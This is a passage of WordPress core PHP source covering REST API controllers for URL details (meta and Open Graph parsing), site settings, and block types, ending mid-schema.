			'(?:description|og:description)'
		);

		// Bail out if description not found.
		if ( '' === $description ) {
			return '';
		}

		return $this->prepare_metadata_for_output( $description );
	}

	/**
	 * Parses the Open Graph (OG) Image from the provided HTML.
	 *
	 * See: https://ogp.me/.
	 *
	 * @since 5.9.0
	 *
	 * @param array  $meta_elements {
	 *     A multi-dimensional indexed array on success, else empty array.
	 *
	 *     @type string[] $0 Meta elements with a content attribute.
	 *     @type string[] $1 Content attribute's opening quotation mark.
	 *     @type string[] $2 Content attribute's value for each meta element.
	 * }
	 * @param string $url The target website URL.
	 * @return string The OG image on success. Empty string if not found.
	 */
	private function get_image( $meta_elements, $url ) {
		$image = $this->get_metadata_from_meta_element(
			$meta_elements,
			'property',
			'(?:og:image|og:image:url)'
		);

		// Bail out if image not found.
		if ( '' === $image ) {
			return '';
		}

		// Attempt to convert relative URLs to absolute.
		$parsed_url = parse_url( $url );
		if ( isset( $parsed_url['scheme'] ) && isset( $parsed_url['host'] ) ) {
			$root_url = $parsed_url['scheme'] . '://' . $parsed_url['host'] . '/';
			$image    = WP_Http::make_absolute_url( $image, $root_url );
		}

		return $image;
	}

	/**
	 * Prepares the metadata by:
	 *    - stripping all HTML tags and tag entities.
	 *    - converting non-tag entities into characters.
	 *
	 * @since 5.9.0
	 *
	 * @param string $metadata The metadata content to prepare.
	 * @return string The prepared metadata.
	 */
	private function prepare_metadata_for_output( $metadata ) {
		$metadata = html_entity_decode( $metadata, ENT_QUOTES, get_bloginfo( 'charset' ) );
		$metadata = wp_strip_all_tags( $metadata );
		return $metadata;
	}

	/**
	 * Utility function to build cache key for a given URL.
	 *
	 * @since 5.9.0
	 *
	 * @param string $url The URL for which to build a cache key.
	 * @return string The cache key.
	 */
	private function build_cache_key_for_url( $url ) {
		return 'g_url_details_response_' . md5( $url );
	}

	/**
	 * Utility function to retrieve a value from the cache at a given key.
	 *
	 * @since 5.9.0
	 *
	 * @param string $key The cache key.
	 * @return mixed The value from the cache.
	 */
	private function get_cache( $key ) {
		return get_site_transient( $key );
	}

	/**
	 * Utility function to cache a given data set at a given cache key.
	 *
	 * @since 5.9.0
	 *
	 * @param string $key  The cache key under which to store the value.
	 * @param string $data The data to be stored at the given cache key.
	 * @return bool True when transient set. False if not set.
	 */
	private function set_cache( $key, $data = '' ) {
		$ttl = HOUR_IN_SECONDS;

		/**
		 * Filters the cache expiration.
		 *
		 * Can be used to adjust the time until expiration in seconds for the cache
		 * of the data retrieved for the given URL.
		 *
		 * @since 5.9.0
		 *
		 * @param int $ttl The time until cache expiration in seconds.
		 */
		$cache_expiration = apply_filters( 'rest_url_details_cache_expiration', $ttl );

		return set_site_transient( $key, $data, $cache_expiration );
	}

	/**
	 * Retrieves the head element section.
	 *
	 * @since 5.9.0
	 *
	 * @param string $html The string of HTML to parse.
	 * @return string The `<head>..</head>` section on success. Given `$html` if not found.
	 */
	private function get_document_head( $html ) {
		$head_html = $html;

		// Find the opening `<head>` tag.
		$head_start = strpos( $html, '<head' );
		if ( false === $head_start ) {
			// Didn't find it. Return the original HTML.
			return $html;
		}

		// Find the closing `</head>` tag.
		$head_end = strpos( $head_html, '</head>' );
		if ( false === $head_end ) {
			// Didn't find it. Find the opening `<body>` tag.
			$head_end = strpos( $head_html, '<body' );

			// Didn't find it. Return the original HTML.
			if ( false === $head_end ) {
				return $html;
			}
		}

		// Extract the HTML from opening tag to the closing tag. Then add the closing tag.
		$head_html  = substr( $head_html, $head_start, $head_end );
		$head_html .= '</head>';

		return $head_html;
	}

	/**
	 * Gets all the meta tag elements that have a 'content' attribute.
	 *
	 * @since 5.9.0
	 *
	 * @param string $html The string of HTML to be parsed.
	 * @return array {
	 *     A multi-dimensional indexed array on success, else empty array.
	 *
	 *     @type string[] $0 Meta elements with a content attribute.
	 *     @type string[] $1 Content attribute's opening quotation mark.
	 *     @type string[] $2 Content attribute's value for each meta element.
	 * }
	 */
	private function get_meta_with_content_elements( $html ) {
		/*
		 * Parse all meta elements with a content attribute.
		 *
		 * Why first search for the content attribute rather than directly searching for name=description element?
		 * tl;dr The content attribute's value will be truncated when it contains a > symbol.
		 *
		 * The content attribute's value (i.e. the description to get) can have HTML in it and be well-formed as
		 * it's a string to the browser. Imagine what happens when attempting to match for the name=description
		 * first. Hmm, if a > or /> symbol is in the content attribute's value, then it terminates the match
		 * as the element's closing symbol. But wait, it's in the content attribute and is not the end of the
		 * element. This is a limitation of using regex. It can't determine "wait a minute this is inside of quotation".
		 * If this happens, what gets matched is not the entire element or all of the content.
		 *
		 * Why not search for the name=description and then content="(.*)"?
		 * The attribute order could be opposite. Plus, additional attributes may exist including being between
		 * the name and content attributes.
		 *
		 * Why not lookahead?
		 * Lookahead is not constrained to stay within the element. The first <meta it finds may not include
		 * the name or content, but rather could be from a different element downstream.
		 */
		$pattern = '#<meta\s' .

				/*
				 * Allows for additional attributes before the content attribute.
				 * Searches for anything other than > symbol.
				 */
				'[^>]*' .

				/*
				* Find the content attribute. When found, capture its value (.*).
				*
				* Allows for (a) single or double quotes and (b) whitespace in the value.
				*
				* Why capture the opening quotation mark, i.e. (["\']), and then backreference,
				* i.e \1, for the closing quotation mark?
				* To ensure the closing quotation mark matches the opening one. Why? Attribute values
				* can contain quotation marks, such as an apostrophe in the content.
				*/
				'content=(["\']??)(.*)\1' .

				/*
				* Allows for additional attributes after the content attribute.
				* Searches for anything other than > symbol.
				*/
				'[^>]*' .

				/*
				* \/?> searches for the closing > symbol, which can be in either /> or > format.
				* # ends the pattern.
				*/
				'\/?>#' .

				/*
				* These are the options:
				* - i : case insensitive
				* - s : allows newline characters for the . match (needed for multiline elements)
				* - U means non-greedy matching
				*/
				'isU';

		preg_match_all( $pattern, $html, $elements );

		return $elements;
	}

	/**
	 * Gets the metadata from a target meta element.
	 *
	 * @since 5.9.0
	 *
	 * @param array  $meta_elements {
	 *     A multi-dimensional indexed array on success, else empty array.
	 *
	 *     @type string[] $0 Meta elements with a content attribute.
	 *     @type string[] $1 Content attribute's opening quotation mark.
	 *     @type string[] $2 Content attribute's value for each meta element.
	 * }
	 * @param string $attr       Attribute that identifies the element with the target metadata.
	 * @param string $attr_value The attribute's value that identifies the element with the target metadata.
	 * @return string The metadata on success. Empty string if not found.
	 */
	private function get_metadata_from_meta_element( $meta_elements, $attr, $attr_value ) {
		// Bail out if there are no meta elements.
		if ( empty( $meta_elements[0] ) ) {
			return '';
		}

		$metadata = '';
		$pattern  = '#' .
				/*
				 * Target this attribute and value to find the metadata element.
				 *
				 * Allows for (a) no, single, double quotes and (b) whitespace in the value.
				 *
				 * Why capture the opening quotation mark, i.e. (["\']), and then backreference,
				 * i.e \1, for the closing quotation mark?
				 * To ensure the closing quotation mark matches the opening one. Why? Attribute values
				 * can contain quotation marks, such as an apostrophe in the content.
				 */
				$attr . '=([\"\']??)\s*' . $attr_value . '\s*\1' .

				/*
				 * These are the options:
				 * - i : case insensitive
				 * - s : allows newline characters for the . match (needed for multiline elements)
				 * - U means non-greedy matching
				 */
				'#isU';

		// Find the metadata element.
		foreach ( $meta_elements[0] as $index => $element ) {
			preg_match( $pattern, $element, $match );

			// This is not the metadata element. Skip it.
			if ( empty( $match ) ) {
				continue;
			}

			/*
			 * Found the metadata element.
			 * Get the metadata from its matching content array.
			 */
			if ( isset( $meta_elements[2][ $index ] ) && is_string( $meta_elements[2][ $index ] ) ) {
				$metadata = trim( $meta_elements[2][ $index ] );
			}

			break;
		}

		return $metadata;
	}
}
<?php
/**
 * REST API: WP_REST_Settings_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage a site's settings via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Settings_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'settings';
	}

	/**
	 * Registers the routes for the site's settings.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'args'                => array(),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to read and manage settings.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool True if the request has read access for the item, otherwise false.
	 */
	public function get_item_permissions_check( $request ) {
		return current_user_can( 'manage_options' );
	}

	/**
	 * Retrieves the settings.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return array|WP_Error Array on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$options  = $this->get_registered_options();
		$response = array();

		foreach ( $options as $name => $args ) {
			/**
			 * Filters the value of a setting recognized by the REST API.
			 *
			 * Allow hijacking the setting value and overriding the built-in behavior by returning a
			 * non-null value.  The returned value will be presented as the setting value instead.
			 *
			 * @since 4.7.0
			 *
			 * @param mixed  $result Value to use for the requested setting. Can be a scalar
			 *                       matching the registered schema for the setting, or null to
			 *                       follow the default get_option() behavior.
			 * @param string $name   Setting name (as shown in REST API responses).
			 * @param array  $args   Arguments passed to register_setting() for this setting.
			 */
			$response[ $name ] = apply_filters( 'rest_pre_get_setting', null, $name, $args );

			if ( is_null( $response[ $name ] ) ) {
				// Default to a null value as "null" in the response means "not set".
				$response[ $name ] = get_option( $args['option_name'], $args['schema']['default'] );
			}

			/*
			 * Because get_option() is lossy, we have to
			 * cast values to the type they are registered with.
			 */
			$response[ $name ] = $this->prepare_value( $response[ $name ], $args['schema'] );
		}

		return $response;
	}

	/**
	 * Prepares a value for output based off a schema array.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed $value  Value to prepare.
	 * @param array $schema Schema to match.
	 * @return mixed The prepared value.
	 */
	protected function prepare_value( $value, $schema ) {
		/*
		 * If the value is not valid by the schema, set the value to null.
		 * Null values are specifically non-destructive, so this will not cause
		 * overwriting the current invalid value to null.
		 */
		if ( is_wp_error( rest_validate_value_from_schema( $value, $schema ) ) ) {
			return null;
		}

		return rest_sanitize_value_from_schema( $value, $schema );
	}

	/**
	 * Updates settings for the settings object.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return array|WP_Error Array on success, or error object on failure.
	 */
	public function update_item( $request ) {
		$options = $this->get_registered_options();

		$params = $request->get_params();

		foreach ( $options as $name => $args ) {
			if ( ! array_key_exists( $name, $params ) ) {
				continue;
			}

			/**
			 * Filters whether to preempt a setting value update via the REST API.
			 *
			 * Allows hijacking the setting update logic and overriding the built-in behavior by
			 * returning true.
			 *
			 * @since 4.7.0
			 *
			 * @param bool   $result Whether to override the default behavior for updating the
			 *                       value of a setting.
			 * @param string $name   Setting name (as shown in REST API responses).
			 * @param mixed  $value  Updated setting value.
			 * @param array  $args   Arguments passed to register_setting() for this setting.
			 */
			$updated = apply_filters( 'rest_pre_update_setting', false, $name, $request[ $name ], $args );

			if ( $updated ) {
				continue;
			}

			/*
			 * A null value for an option would have the same effect as
			 * deleting the option from the database, and relying on the
			 * default value.
			 */
			if ( is_null( $request[ $name ] ) ) {
				/*
				 * A null value is returned in the response for any option
				 * that has a non-scalar value.
				 *
				 * To protect clients from accidentally including the null
				 * values from a response object in a request, we do not allow
				 * options with values that don't pass validation to be updated to null.
				 * Without this added protection a client could mistakenly
				 * delete all options that have invalid values from the
				 * database.
				 */
				if ( is_wp_error( rest_validate_value_from_schema( get_option( $args['option_name'], false ), $args['schema'] ) ) ) {
					return new WP_Error(
						'rest_invalid_stored_value',
						/* translators: %s: Property name. */
						sprintf( __( 'The %s property has an invalid stored value, and cannot be updated to null.' ), $name ),
						array( 'status' => 500 )
					);
				}

				delete_option( $args['option_name'] );
			} else {
				update_option( $args['option_name'], $request[ $name ] );
			}
		}

		return $this->get_item( $request );
	}

	/**
	 * Retrieves all of the registered options for the Settings API.
	 *
	 * @since 4.7.0
	 *
	 * @return array Array of registered options.
	 */
	protected function get_registered_options() {
		$rest_options = array();

		foreach ( get_registered_settings() as $name => $args ) {
			if ( empty( $args['show_in_rest'] ) ) {
				continue;
			}

			$rest_args = array();

			if ( is_array( $args['show_in_rest'] ) ) {
				$rest_args = $args['show_in_rest'];
			}

			$defaults = array(
				'name'   => ! empty( $rest_args['name'] ) ? $rest_args['name'] : $name,
				'schema' => array(),
			);

			$rest_args = array_merge( $defaults, $rest_args );

			$default_schema = array(
				'type'        => empty( $args['type'] ) ? null : $args['type'],
				'description' => empty( $args['description'] ) ? '' : $args['description'],
				'default'     => isset( $args['default'] ) ? $args['default'] : null,
			);

			$rest_args['schema']      = array_merge( $default_schema, $rest_args['schema'] );
			$rest_args['option_name'] = $name;

			// Skip over settings that don't have a defined type in the schema.
			if ( empty( $rest_args['schema']['type'] ) ) {
				continue;
			}

			/*
			 * Allow the supported types for settings, as we don't want invalid types
			 * to be updated with arbitrary values that we can't do decent sanitizing for.
			 */
			if ( ! in_array( $rest_args['schema']['type'], array( 'number', 'integer', 'string', 'boolean', 'array', 'object' ), true ) ) {
				continue;
			}

			$rest_args['schema'] = rest_default_additional_properties_to_false( $rest_args['schema'] );

			$rest_options[ $rest_args['name'] ] = $rest_args;
		}

		return $rest_options;
	}

	/**
	 * Retrieves the site setting schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$options = $this->get_registered_options();

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'settings',
			'type'       => 'object',
			'properties' => array(),
		);

		foreach ( $options as $option_name => $option ) {
			$schema['properties'][ $option_name ]                = $option['schema'];
			$schema['properties'][ $option_name ]['arg_options'] = array(
				'sanitize_callback' => array( $this, 'sanitize_callback' ),
			);
		}

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Custom sanitize callback used for all options to allow the use of 'null'.
	 *
	 * By default, the schema of settings will throw an error if a value is set to
	 * `null` as it's not a valid value for something like "type => string". We
	 * provide a wrapper sanitizer to allow the use of `null`.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed           $value   The value for the setting.
	 * @param WP_REST_Request $request The request object.
	 * @param string          $param   The parameter name.
	 * @return mixed|WP_Error
	 */
	public function sanitize_callback( $value, $request, $param ) {
		if ( is_null( $value ) ) {
			return $value;
		}

		return rest_parse_request_arg( $value, $request, $param );
	}

	/**
	 * Recursively add additionalProperties = false to all objects in a schema
	 * if no additionalProperties setting is specified.
	 *
	 * This is needed to restrict properties of objects in settings values to only
	 * registered items, as the REST API will allow additional properties by
	 * default.
	 *
	 * @since 4.9.0
	 * @deprecated 6.1.0 Use {@see rest_default_additional_properties_to_false()} instead.
	 *
	 * @param array $schema The schema array.
	 * @return array
	 */
	protected function set_additional_properties_to_false( $schema ) {
		_deprecated_function( __METHOD__, '6.1.0', 'rest_default_additional_properties_to_false()' );

		return rest_default_additional_properties_to_false( $schema );
	}
}
<?php
/**
 * REST API: WP_REST_Block_Types_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.5.0
 */

/**
 * Core class used to access block types via the REST API.
 *
 * @since 5.5.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Block_Types_Controller extends WP_REST_Controller {

	const NAME_PATTERN = '^[a-z][a-z0-9-]*/[a-z][a-z0-9-]*$';

	/**
	 * Instance of WP_Block_Type_Registry.
	 *
	 * @since 5.5.0
	 * @var WP_Block_Type_Registry
	 */
	protected $block_registry;

	/**
	 * Instance of WP_Block_Styles_Registry.
	 *
	 * @since 5.5.0
	 * @var WP_Block_Styles_Registry
	 */
	protected $style_registry;

	/**
	 * Constructor.
	 *
	 * @since 5.5.0
	 */
	public function __construct() {
		$this->namespace      = 'wp/v2';
		$this->rest_base      = 'block-types';
		$this->block_registry = WP_Block_Type_Registry::get_instance();
		$this->style_registry = WP_Block_Styles_Registry::get_instance();
	}

	/**
	 * Registers the routes for block types.
	 *
	 * @since 5.5.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<namespace>[a-zA-Z0-9_-]+)',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<namespace>[a-zA-Z0-9_-]+)/(?P<name>[a-zA-Z0-9_-]+)',
			array(
				'args'   => array(
					'name'      => array(
						'description' => __( 'Block name.' ),
						'type'        => 'string',
					),
					'namespace' => array(
						'description' => __( 'Block namespace.' ),
						'type'        => 'string',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read post block types.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		return $this->check_read_permission();
	}

	/**
	 * Retrieves all post block types, depending on user context.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$data        = array();
		$block_types = $this->block_registry->get_all_registered();

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();
		$namespace  = '';
		if ( isset( $registered['namespace'] ) && ! empty( $request['namespace'] ) ) {
			$namespace = $request['namespace'];
		}

		foreach ( $block_types as $slug => $obj ) {
			if ( $namespace ) {
				list ( $block_namespace ) = explode( '/', $obj->name );

				if ( $namespace !== $block_namespace ) {
					continue;
				}
			}
			$block_type = $this->prepare_item_for_response( $obj, $request );
			$data[]     = $this->prepare_response_for_collection( $block_type );
		}

		return rest_ensure_response( $data );
	}

	/**
	 * Checks if a given request has access to read a block type.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$check = $this->check_read_permission();
		if ( is_wp_error( $check ) ) {
			return $check;
		}
		$block_name = sprintf( '%s/%s', $request['namespace'], $request['name'] );
		$block_type = $this->get_block( $block_name );
		if ( is_wp_error( $block_type ) ) {
			return $block_type;
		}

		return true;
	}

	/**
	 * Checks whether a given block type should be visible.
	 *
	 * @since 5.5.0
	 *
	 * @return true|WP_Error True if the block type is visible, WP_Error otherwise.
	 */
	protected function check_read_permission() {
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}
		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error( 'rest_block_type_cannot_view', __( 'Sorry, you are not allowed to manage block types.' ), array( 'status' => rest_authorization_required_code() ) );
	}

	/**
	 * Get the block, if the name is valid.
	 *
	 * @since 5.5.0
	 *
	 * @param string $name Block name.
	 * @return WP_Block_Type|WP_Error Block type object if name is valid, WP_Error otherwise.
	 */
	protected function get_block( $name ) {
		$block_type = $this->block_registry->get_registered( $name );
		if ( empty( $block_type ) ) {
			return new WP_Error( 'rest_block_type_invalid', __( 'Invalid block type.' ), array( 'status' => 404 ) );
		}

		return $block_type;
	}

	/**
	 * Retrieves a specific block type.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$block_name = sprintf( '%s/%s', $request['namespace'], $request['name'] );
		$block_type = $this->get_block( $block_name );
		if ( is_wp_error( $block_type ) ) {
			return $block_type;
		}
		$data = $this->prepare_item_for_response( $block_type, $request );

		return rest_ensure_response( $data );
	}

	/**
	 * Prepares a block type object for serialization.
	 *
	 * @since 5.5.0
	 * @since 5.9.0 Renamed `$block_type` to `$item` to match parent class for PHP 8 named parameter support.
	 * @since 6.3.0 Added `selectors` field.
	 * @since 6.5.0 Added `view_script_module_ids` field.
	 *
	 * @param WP_Block_Type   $item    Block type data.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Block type data.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$block_type = $item;

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'attributes', $fields ) ) {
			$data['attributes'] = $block_type->get_attributes();
		}

		if ( rest_is_field_included( 'is_dynamic', $fields ) ) {
			$data['is_dynamic'] = $block_type->is_dynamic();
		}

		$schema = $this->get_item_schema();
		// Fields deprecated in WordPress 6.1, but left in the schema for backwards compatibility.
		$deprecated_fields = array(
			'editor_script',
			'script',
			'view_script',
			'editor_style',
			'style',
		);
		$extra_fields      = array_merge(
			array(
				'api_version',
				'name',
				'title',
				'description',
				'icon',
				'category',
				'keywords',
				'parent',
				'ancestor',
				'allowed_blocks',
				'provides_context',
				'uses_context',
				'selectors',
				'supports',
				'styles',
				'textdomain',
				'example',
				'editor_script_handles',
				'script_handles',
				'view_script_handles',
				'view_script_module_ids',
				'editor_style_handles',
				'style_handles',
				'view_style_handles',
				'variations',
				'block_hooks',
			),
			$deprecated_fields
		);
		foreach ( $extra_fields as $extra_field ) {
			if ( rest_is_field_included( $extra_field, $fields ) ) {
				if ( isset( $block_type->$extra_field ) ) {
					$field = $block_type->$extra_field;
					if ( in_array( $extra_field, $deprecated_fields, true ) && is_array( $field ) ) {
						// Since the schema only allows strings or null (but no arrays), we return the first array item.
						$field = ! empty( $field ) ? array_shift( $field ) : '';
					}
				} elseif ( array_key_exists( 'default', $schema['properties'][ $extra_field ] ) ) {
					$field = $schema['properties'][ $extra_field ]['default'];
				} else {
					$field = '';
				}
				$data[ $extra_field ] = rest_sanitize_value_from_schema( $field, $schema['properties'][ $extra_field ] );
			}
		}

		if ( rest_is_field_included( 'styles', $fields ) ) {
			$styles         = $this->style_registry->get_registered_styles_for_block( $block_type->name );
			$styles         = array_values( $styles );
			$data['styles'] = wp_parse_args( $styles, $data['styles'] );
			$data['styles'] = array_filter( $data['styles'] );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $block_type ) );
		}

		/**
		 * Filters a block type returned from the REST API.
		 *
		 * Allows modification of the block type data right before it is returned.
		 *
		 * @since 5.5.0
		 *
		 * @param WP_REST_Response $response   The response object.
		 * @param WP_Block_Type    $block_type The original block type object.
		 * @param WP_REST_Request  $request    Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_block_type', $response, $block_type, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_Block_Type $block_type Block type data.
	 * @return array Links for the given block type.
	 */
	protected function prepare_links( $block_type ) {
		list( $namespace ) = explode( '/', $block_type->name );

		$links = array(
			'collection' => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
			'self'       => array(
				'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $block_type->name ) ),
			),
			'up'         => array(
				'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $namespace ) ),
			),
		);

		if ( $block_type->is_dynamic() ) {
			$links['https://api.w.org/render-block'] = array(
				'href' => add_query_arg(
					'context',
					'edit',
					rest_url( sprintf( '%s/%s/%s', 'wp/v2', 'block-renderer', $block_type->name ) )
				),
			);
		}

		return $links;
	}

	/**
	 * Retrieves the block type' schema, conforming to JSON Schema.
	 *
	 * @since 5.5.0
	 * @since 6.3.0 Added `selectors` field.
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		// rest_validate_value_from_schema doesn't understand $refs, pull out reused definitions for readability.
		$inner_blocks_definition = array(
			'description' => __( 'The list of inner blocks used in the example.' ),
			'type'        => 'array',
			'items'       => array(
				'type'       => 'object',
				'properties' => array(
					'name'        => array(
						'description' => __( 'The name of the inner block.' ),
						'type'        => 'string',
						'pattern'     => self::NAME_PATTERN,
						'required'    => true,
					),
					'attributes'  => array(
						'description' => __( 'The attributes of the inner block.' ),
						'type'        => 'object',
					),
					'innerBlocks' => array(
						'description' => __( "A list of the inner block's own inner blocks. This is a recursive definition following the parent innerBlocks schema." ),
						'type'        => 'array',
					),
				),
			),
		);

		$example_definition = array(
			'description' => __( 'Block example.' ),
			'type'        => array( 'object', 'null' ),
			'default'     => null,
			'properties'  => array(
				'attributes'  => array(
					'description' => __( 'The attributes used in the example.' ),
					'type'        => 'object',
				),
				'innerBlocks' => $inner_blocks_definition,
			),
			'context'     => array( 'embed', 'view', 'edit' ),
			'readonly'    => true,
		);

		$keywords_definition = array(
			'description' => __( 'Block keywords.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
			'default'     => array(),
			'context'     => array( 'embed', 'view', 'edit' ),
			'readonly'    => true,
		);

		$icon_definition = array(
			'description' => __( 'Icon of block type.' ),
			'type'        => array( 'string', 'null' ),
			'default'     => null,
			'context'     => array( 'embed', 'view', 'edit' ),
			'readonly'    => true,
		);

		$category_definition = array(
			'description' => __( 'Block category.' ),
			'type'        => array( 'string', 'null' ),
			'default'     => null,
			'context'     => array( 'embed', 'view', 'edit' ),
			'readonly'    => true,
		);

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'block-type',
			'type'       => 'object',
			'properties' => array(
				'api_version'            => array(
					'description' => __( 'Version of block API.' ),
					'type'        => 'integer',
					'default'     => 1,
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'title'                  => array(
					'description' => __( 'Title of block type.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'name'                   => array(
					'description' => __( 'Unique name identifying the block type.' ),
					'type'        => 'string',
					'pattern'     => self::NAME_PATTERN,
					'required'    => true,
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'description'            => array(
					'description' => __( 'Description of block type.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'icon'                   => $icon_definition,
				'attributes'             => array(
					'description'          => __( 'Block attributes.' ),
					'type'                 => array( 'object', 'null' ),
					'properties'           => array(),
					'default'              => null,
					'additionalProperties' => array(
						'type' => 'object',
					),
					'context'              => array( 'embed', 'view', 'edit' ),
					'readonly'             => true,
				),
				'provides_context'       => array(
					'description'          => __( 'Context provided by blocks of this type.' ),
					'type'                 => 'object',
					'properties'           => array(),
					'additionalProperties' => array(
						'type' => 'string',
					),
					'default'              => array(),
					'context'              => array( 'embed', 'view', 'edit' ),
					'readonly'             => true,
				),
				'uses_context'           => array(
					'description' => __( 'Context values inherited by blocks of this type.' ),
					'type'        => 'array',
					'default'     => array(),
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'selectors'              => array(
					'description' => __( 'Custom CSS selectors.' ),
					'type'        => 'object',
					'default'     => array(),
					'properties'  => array(),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'supports'               => array(
					'description' => __( 'Block supports.' ),
					'type'        => 'object',
					'default'     => array(),
					'properties'  => array(),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'category'               => $category_definition,
				'is_dynamic'             => array(
					'description' => __( 'Is the block dynamically rendered.' ),
					'type'        => 'boolean',
					'default'     => false,
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'editor_script_handles'  => array(
					'description' => __( 'Editor script handles.' ),
					'type'        => array( 'array' ),
					'default'     => array(),
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'script_handles'         => array(
					'description' => __( 'Public facing and editor script handles.' ),
					'type'        => array( 'array' ),
					'default'     => array(),
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'view_script_handles'    => array(
					'description' => __( 'Public facing script handles.' ),
